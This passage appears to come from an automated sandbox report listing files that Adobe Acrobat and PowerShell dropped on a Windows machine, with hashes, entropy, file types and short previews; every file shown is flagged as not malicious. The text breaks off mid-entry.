SHA1:	4042AB22C23554E3A2019A586AB8A40309366003
SHA-256:	ED10C1901790D910F01FE63E382A2499C58F752F7BCD859F705A9B8D3635A6E9
SHA-512:	A6616BFB7C7B28157B9BFD83BF0F1AE8440E67E7413519751D80362D9BAD16A9EFACC5D2B2812575E36060D6C5779BED848E8F445E24511E8437E334835A209F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"89ff616a-7b92-4812-9ad5-0bc086f4facd","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736754073340,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.131922158752838
Encrypted:	false
SSDEEP:	48:Y8KP/YUqqEs5YcR099uaZSr/H+IMduMZ8ZWXquqaER19mdR:tK+JQDS2vAXqHXu
MD5:	5CC43BF57D1EB44BCB3C15A70974C85A
SHA1:	781EBF6E6B2C913BB28FA4D90F0F11E9568A2CD7
SHA-256:	034585841D0DAEF0A30630E0C51E9F539C227E7266EE6F06280D4768FEFCD6FD
SHA-512:	485FD362D919BFE6EF109F469AFD6C92CD4D0DB5F1841F24FAA548545BC0E9F96EBB4692CFA57ADA901E34DBB65B9F1DFE29A6F2AF028F8B38B7CFF8F6E73161
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"b5cac3d776fe9e8f38c923b2020c866d","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736575992000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"51b092f1acf0e8a0fe8f35fff1603bbc","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736575992000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"d7c1d505ab44bb6f0bd8305ad3b6c3a3","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736575992000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"d55dafb164546ba2fe0716e9530f681c","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736575992000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"4b72f804d688eef8f700e692ec958dc6","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736575992000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"f0d888bf0603fe64c5ec9c60d90d86e4","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.319364055952711
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9O3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6YC0l+EXSqXE:TGufl2GL7msUKB0M0+Tb608YC0wrK0P
MD5:	14D16FEA01AEFA7E0F60905D487CDE60
SHA1:	03F2711FEEDF5E90F1A34F2802B3ED9A7F48E306
SHA-256:	595D6B06FC4B0E515953D09CA1ED19F3F6C922921A76C670F6F0DA076837EFEF
SHA-512:	664CD819C46D90581A1908F79855D1E5E600D3E29DA4A10A46CC8C9051A31C1CB229FE8C1FF54CC4A6D9DD3406B52EF07C22C6236427BECAA57879B95FA44E56
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7798098725238485
Encrypted:	false
SSDEEP:	24:7+tLl3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6YC0l/EXSqXlyGKaiRqLhx/XYKQA:7MVKB0M0+Tb608YC09rGKNqFl2GL7ms/
MD5:	6A44F428B4DABEBFFD405709B7225C29
SHA1:	40433B947E71F6AD249EDCF5382953D4D49FE204
SHA-256:	5E0A2730C5C0D79EDA638531ECEA09F8629B3052976FD6CA9FA84867A59144C6
SHA-512:	553D167C8E5EAD0AF4EC113724BD5AC9277EF65BABA0A9DD6B15291C3F1EB628604C73BE7643391306D9B47A12232730B38A56DE139AD2C8EC88147EC5FA239A
Malicious:	false
Preview:	.... .c.....x..7..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEguQKnoVfXojnNnK+Ag65bAJk1Yyu:6a6TZ44ADEuQVVvoDN6AJ+K
MD5:	4B50CDE7D460645D18156B98303E03C8
SHA1:	CD146786F7C0FD224294BA670EA4EC1CE66915D7
SHA-256:	3366AB265BA74E00F24D9E76258F18E0B7FD47FE4326950CB18D77F2D875E166
SHA-512:	4E6A6F997DBCD5E0D4F98A189BBA17A33D0C80E3ABF76B8F45740BB28D1C28B42D79585724B532A21EF759F55C360A560CF25AA0FDE88892F183701F3FD52DA6
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIb346e.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4821612612473656
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl8sYlYH:Qw946cPbiOxDlbYnuRKdAYlYH
MD5:	11722E1A9F20B06520830BFDF8C46D98
SHA1:	0DC7DA664D818F028F843DED2291E49914AA4F45
SHA-256:	D14C0350CBB06349FEB7838FF56B5531EA33CE3CA59ABA6F601F0BB1427F3E39
SHA-512:	7EFA9CEBE04F6D78C72253A290FB1B9D65BA044DD8B8CC23F9F4ABB8B4FE4522C0415FAEC9F6078A5DBB26DD7E0873B74EBB2E5C9C2C1DD088688D13C25F7BED
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.1.:.1.3.:.1.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eda243rx.tz3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ggcfh3ev.tzo.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9rzo6te_11t0s8f_64c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9y42csn_11t0s8b_64c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 01-13-04-836.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.361022727805069
Encrypted:	false
SSDEEP:	384:cBD67lQV4j1MOuD/btX+wknz+fzTqyorqz3tVFr84AbAYpfFWbWt+Fjwn0z5O+Wf:4M5
MD5:	70A2D078BEFD5E910EE035832171B399
SHA1:	1AB91914ECD7852E512C73437D30013594A16FB0
SHA-256:	2B55DE84E5446FD295128DAD5827122E98AC784F96A1F422B711B14E8F7DB1ED
SHA-512:	9FF36D4E320A8791AB0B87F24CAB4CBE777D9E8A3A64D26AF419132CDFDFCCD9A253EE9854032C4C87C546187951077F869CBCBDC9513278C557FC4895C7DBBC
Malicious:	false
Preview:	SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:158+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3490528430505355
Encrypted:	false
SSDEEP:	384:hVCJ8JxJkJWJ/JHSJXJMJ8bJiJMIbIPIVLjOMZ919/97Sczgz1zuzT4FzFfFBtba:h8C7a4Z1Sx62bgi0gyLCkLlx/MhSg9t4
MD5:	40A2FEDF40C2F5DD533A455C0F38BCD0
SHA1:	5A1562784905791195E324E692A487FC76F16524
SHA-256:	0B40F36476F0A41C154BB085EAF75073951C759658AE6C739D3827869620B317
SHA-512:	F33169A2E1C86C0E952024B1CD1BBBCDA91988116348E5717A19C63DE03FD1EFE05A8B09472CC553D28547E67372FF7CABAC88BDD0E5832594C9F4DCFCFAB114
Malicious:	false
Preview:	SessionID=45a4f7d5-1fc1-4353-af3a-7c1cc05f6675.1736575984850 Timestamp=2025-01-11T01:13:04:850-0500 ThreadID=8732 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=45a4f7d5-1fc1-4353-af3a-7c1cc05f6675.1736575984850 Timestamp=2025-01-11T01:13:04:854-0500 ThreadID=8732 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=45a4f7d5-1fc1-4353-af3a-7c1cc05f6675.1736575984850 Timestamp=2025-01-11T01:13:04:854-0500 ThreadID=8732 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=45a4f7d5-1fc1-4353-af3a-7c1cc05f6675.1736575984850 Timestamp=2025-01-11T01:13:04:854-0500 ThreadID=8732 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=45a4f7d5-1fc1-4353-af3a-7c1cc05f6675.1736575984850 Timestamp=2025-01-11T01:13:04:854-0500 ThreadID=8732 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.398006244113482
Encrypted:	false
SSDEEP:	192:zcbaIGkcbIcbiIICcbBOQQ0fQNCHPaPOhWPOA3mbSAcbsGC9GZPOdIzZMJzV3Zmm:EGvIcNYdmD6
MD5:	56470A206EBF0D0044B717403584C67C
SHA1:	6D56EB116A3FC2E00DAA86C1FEAA1C428E5E3398
SHA-256:	C9A4827AE73CA66CFCB053D794F4447B2C58B103C8342EB1F5E2C1AAD05291E8
SHA-512:	EFDC2A0A840A32C50954EFAC6BF7478851A912FD8EC04B4880E7F50483ABC2DD5193556978D0A27E9E7139A4108BD64B3D8652D5775076D08CF09E511B92930E
Malicious:	false
Preview:	05-10-2023 11:50:33:.---2---..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 11:50:33:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\2023656f-f53a-4367-9d41-bc2faa84eb3b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xLtwYIGNPzWL07o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tGZd:JJwZG5WLxB3mlind9i4ufFXpAXkrfUsb
MD5:	D38CB76360DDA78820460E5C5F20061C
SHA1:	F2B65831130B70F2A3DC345F70C4BEEDE9AB40E8
SHA-256:	55E70B5D5F8BE28D648BCDFE7DEB02BF4BBE2F626D620D4D838E0FA4FBF45F8E
SHA-512:	5E31738169A6FE92062B0E582489DEEAC2FA1798965DED94EFA994965470A15B5095851701E4DF631C5EC4454913272F1156EC46B32DA782D3C0F9E490C129A1
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\337e883f-2c5e-427e-98a5-75b0604ea6c3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\7b980782-f47a-40cc-b0b2-d1892069b167.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xaW4wYIGNPB07oYGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JaW4wZGbxYGZn3mlind9i4ufFXpAXkru
MD5:	926A29A6B2E374149EF1F035305C3465
SHA1:	0A6F10E9B3FF6BAA338062FE2E0A6BE1D707C02B
SHA-256:	34FF45055D0A4C568EDC7F66BD9F0B5151A670E375DEAB0C9D78BD4674426594
SHA-512:	D3C92C85E778AC706AE6961D2332E96F53F42499B7E1DB7A95AC26AA2E475D855043B1AF9C0DFDB35E5DE7FB32520B8DD5DD446023B4213AB11340AD728BA0C9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\bd195b4d-6e0d-40d6-b359-c1856d2f9415.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
